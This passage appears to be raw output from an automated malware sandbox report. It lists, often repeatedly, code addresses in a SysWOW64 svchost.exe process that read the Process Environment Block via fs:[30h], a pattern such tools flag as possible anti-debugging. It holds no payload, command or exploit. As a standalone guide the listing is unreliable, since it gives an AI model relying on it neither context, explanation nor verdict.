Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03260710 mov eax, dword ptr fs:[00000030h]	1_2_03260710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238770 mov eax, dword ptr fs:[00000030h]	1_2_03238770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770 mov eax, dword ptr fs:[00000030h]	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326674D mov esi, dword ptr fs:[00000030h]	1_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326674D mov eax, dword ptr fs:[00000030h]	1_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326674D mov eax, dword ptr fs:[00000030h]	1_2_0326674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230750 mov eax, dword ptr fs:[00000030h]	1_2_03230750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BE75D mov eax, dword ptr fs:[00000030h]	1_2_032BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272750 mov eax, dword ptr fs:[00000030h]	1_2_03272750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272750 mov eax, dword ptr fs:[00000030h]	1_2_03272750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B4755 mov eax, dword ptr fs:[00000030h]	1_2_032B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032307AF mov eax, dword ptr fs:[00000030h]	1_2_032307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E47A0 mov eax, dword ptr fs:[00000030h]	1_2_032E47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D678E mov eax, dword ptr fs:[00000030h]	1_2_032D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032527ED mov eax, dword ptr fs:[00000030h]	1_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032527ED mov eax, dword ptr fs:[00000030h]	1_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032527ED mov eax, dword ptr fs:[00000030h]	1_2_032527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BE7E1 mov eax, dword ptr fs:[00000030h]	1_2_032BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032347FB mov eax, dword ptr fs:[00000030h]	1_2_032347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032347FB mov eax, dword ptr fs:[00000030h]	1_2_032347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323C7C0 mov eax, dword ptr fs:[00000030h]	1_2_0323C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B07C3 mov eax, dword ptr fs:[00000030h]	1_2_032B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E627 mov eax, dword ptr fs:[00000030h]	1_2_0324E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03266620 mov eax, dword ptr fs:[00000030h]	1_2_03266620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03268620 mov eax, dword ptr fs:[00000030h]	1_2_03268620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323262C mov eax, dword ptr fs:[00000030h]	1_2_0323262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE609 mov eax, dword ptr fs:[00000030h]	1_2_032AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324260B mov eax, dword ptr fs:[00000030h]	1_2_0324260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272619 mov eax, dword ptr fs:[00000030h]	1_2_03272619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F866E mov eax, dword ptr fs:[00000030h]	1_2_032F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F866E mov eax, dword ptr fs:[00000030h]	1_2_032F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A660 mov eax, dword ptr fs:[00000030h]	1_2_0326A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A660 mov eax, dword ptr fs:[00000030h]	1_2_0326A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03262674 mov eax, dword ptr fs:[00000030h]	1_2_03262674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324C640 mov eax, dword ptr fs:[00000030h]	1_2_0324C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C6A6 mov eax, dword ptr fs:[00000030h]	1_2_0326C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032666B0 mov eax, dword ptr fs:[00000030h]	1_2_032666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234690 mov eax, dword ptr fs:[00000030h]	1_2_03234690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03234690 mov eax, dword ptr fs:[00000030h]	1_2_03234690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AE6F2 mov eax, dword ptr fs:[00000030h]	1_2_032AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B06F1 mov eax, dword ptr fs:[00000030h]	1_2_032B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B06F1 mov eax, dword ptr fs:[00000030h]	1_2_032B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_0326A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A6C7 mov eax, dword ptr fs:[00000030h]	1_2_0326A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535 mov eax, dword ptr fs:[00000030h]	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E53E mov eax, dword ptr fs:[00000030h]	1_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E53E mov eax, dword ptr fs:[00000030h]	1_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E53E mov eax, dword ptr fs:[00000030h]	1_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E53E mov eax, dword ptr fs:[00000030h]	1_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E53E mov eax, dword ptr fs:[00000030h]	1_2_0325E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6500 mov eax, dword ptr fs:[00000030h]	1_2_032C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304500 mov eax, dword ptr fs:[00000030h]	1_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326656A mov eax, dword ptr fs:[00000030h]	1_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326656A mov eax, dword ptr fs:[00000030h]	1_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326656A mov eax, dword ptr fs:[00000030h]	1_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238550 mov eax, dword ptr fs:[00000030h]	1_2_03238550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238550 mov eax, dword ptr fs:[00000030h]	1_2_03238550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B05A7 mov eax, dword ptr fs:[00000030h]	1_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B05A7 mov eax, dword ptr fs:[00000030h]	1_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B05A7 mov eax, dword ptr fs:[00000030h]	1_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032545B1 mov eax, dword ptr fs:[00000030h]	1_2_032545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032545B1 mov eax, dword ptr fs:[00000030h]	1_2_032545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03232582 mov eax, dword ptr fs:[00000030h]	1_2_03232582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03232582 mov ecx, dword ptr fs:[00000030h]	1_2_03232582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03264588 mov eax, dword ptr fs:[00000030h]	1_2_03264588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E59C mov eax, dword ptr fs:[00000030h]	1_2_0326E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	1_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032325E0 mov eax, dword ptr fs:[00000030h]	1_2_032325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C5ED mov eax, dword ptr fs:[00000030h]	1_2_0326C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326C5ED mov eax, dword ptr fs:[00000030h]	1_2_0326C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E5CF mov eax, dword ptr fs:[00000030h]	1_2_0326E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E5CF mov eax, dword ptr fs:[00000030h]	1_2_0326E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032365D0 mov eax, dword ptr fs:[00000030h]	1_2_032365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0326A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326A5D0 mov eax, dword ptr fs:[00000030h]	1_2_0326A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E420 mov eax, dword ptr fs:[00000030h]	1_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E420 mov eax, dword ptr fs:[00000030h]	1_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322E420 mov eax, dword ptr fs:[00000030h]	1_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322C427 mov eax, dword ptr fs:[00000030h]	1_2_0322C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B6420 mov eax, dword ptr fs:[00000030h]	1_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03268402 mov eax, dword ptr fs:[00000030h]	1_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03268402 mov eax, dword ptr fs:[00000030h]	1_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03268402 mov eax, dword ptr fs:[00000030h]	1_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BC460 mov ecx, dword ptr fs:[00000030h]	1_2_032BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325A470 mov eax, dword ptr fs:[00000030h]	1_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325A470 mov eax, dword ptr fs:[00000030h]	1_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325A470 mov eax, dword ptr fs:[00000030h]	1_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E443 mov eax, dword ptr fs:[00000030h]	1_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EA456 mov eax, dword ptr fs:[00000030h]	1_2_032EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322645D mov eax, dword ptr fs:[00000030h]	1_2_0322645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325245A mov eax, dword ptr fs:[00000030h]	1_2_0325245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032364AB mov eax, dword ptr fs:[00000030h]	1_2_032364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032644B0 mov ecx, dword ptr fs:[00000030h]	1_2_032644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BA4B0 mov eax, dword ptr fs:[00000030h]	1_2_032BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EA49A mov eax, dword ptr fs:[00000030h]	1_2_032EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032304E5 mov ecx, dword ptr fs:[00000030h]	1_2_032304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325EB20 mov eax, dword ptr fs:[00000030h]	1_2_0325EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325EB20 mov eax, dword ptr fs:[00000030h]	1_2_0325EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F8B28 mov eax, dword ptr fs:[00000030h]	1_2_032F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F8B28 mov eax, dword ptr fs:[00000030h]	1_2_032F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03304B00 mov eax, dword ptr fs:[00000030h]	1_2_03304B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AEB1D mov eax, dword ptr fs:[00000030h]	1_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322CB7E mov eax, dword ptr fs:[00000030h]	1_2_0322CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E4B4B mov eax, dword ptr fs:[00000030h]	1_2_032E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E4B4B mov eax, dword ptr fs:[00000030h]	1_2_032E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03302B57 mov eax, dword ptr fs:[00000030h]	1_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03302B57 mov eax, dword ptr fs:[00000030h]	1_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03302B57 mov eax, dword ptr fs:[00000030h]	1_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03302B57 mov eax, dword ptr fs:[00000030h]	1_2_03302B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6B40 mov eax, dword ptr fs:[00000030h]	1_2_032C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C6B40 mov eax, dword ptr fs:[00000030h]	1_2_032C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FAB40 mov eax, dword ptr fs:[00000030h]	1_2_032FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D8B42 mov eax, dword ptr fs:[00000030h]	1_2_032D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03228B50 mov eax, dword ptr fs:[00000030h]	1_2_03228B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DEB50 mov eax, dword ptr fs:[00000030h]	1_2_032DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240BBE mov eax, dword ptr fs:[00000030h]	1_2_03240BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240BBE mov eax, dword ptr fs:[00000030h]	1_2_03240BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_032E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_032E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238BF0 mov eax, dword ptr fs:[00000030h]	1_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238BF0 mov eax, dword ptr fs:[00000030h]	1_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238BF0 mov eax, dword ptr fs:[00000030h]	1_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325EBFC mov eax, dword ptr fs:[00000030h]	1_2_0325EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BCBF0 mov eax, dword ptr fs:[00000030h]	1_2_032BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03250BCB mov eax, dword ptr fs:[00000030h]	1_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03250BCB mov eax, dword ptr fs:[00000030h]	1_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03250BCB mov eax, dword ptr fs:[00000030h]	1_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230BCD mov eax, dword ptr fs:[00000030h]	1_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230BCD mov eax, dword ptr fs:[00000030h]	1_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230BCD mov eax, dword ptr fs:[00000030h]	1_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DEBD0 mov eax, dword ptr fs:[00000030h]	1_2_032DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326CA24 mov eax, dword ptr fs:[00000030h]	1_2_0326CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325EA2E mov eax, dword ptr fs:[00000030h]	1_2_0325EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03254A35 mov eax, dword ptr fs:[00000030h]	1_2_03254A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03254A35 mov eax, dword ptr fs:[00000030h]	1_2_03254A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BCA11 mov eax, dword ptr fs:[00000030h]	1_2_032BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326CA6F mov eax, dword ptr fs:[00000030h]	1_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326CA6F mov eax, dword ptr fs:[00000030h]	1_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326CA6F mov eax, dword ptr fs:[00000030h]	1_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DEA60 mov eax, dword ptr fs:[00000030h]	1_2_032DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032ACA72 mov eax, dword ptr fs:[00000030h]	1_2_032ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032ACA72 mov eax, dword ptr fs:[00000030h]	1_2_032ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03236A50 mov eax, dword ptr fs:[00000030h]	1_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240A5B mov eax, dword ptr fs:[00000030h]	1_2_03240A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240A5B mov eax, dword ptr fs:[00000030h]	1_2_03240A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238AA0 mov eax, dword ptr fs:[00000030h]	1_2_03238AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03238AA0 mov eax, dword ptr fs:[00000030h]	1_2_03238AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03286AA4 mov eax, dword ptr fs:[00000030h]	1_2_03286AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80 mov eax, dword ptr fs:[00000030h]	1_2_0323EA80
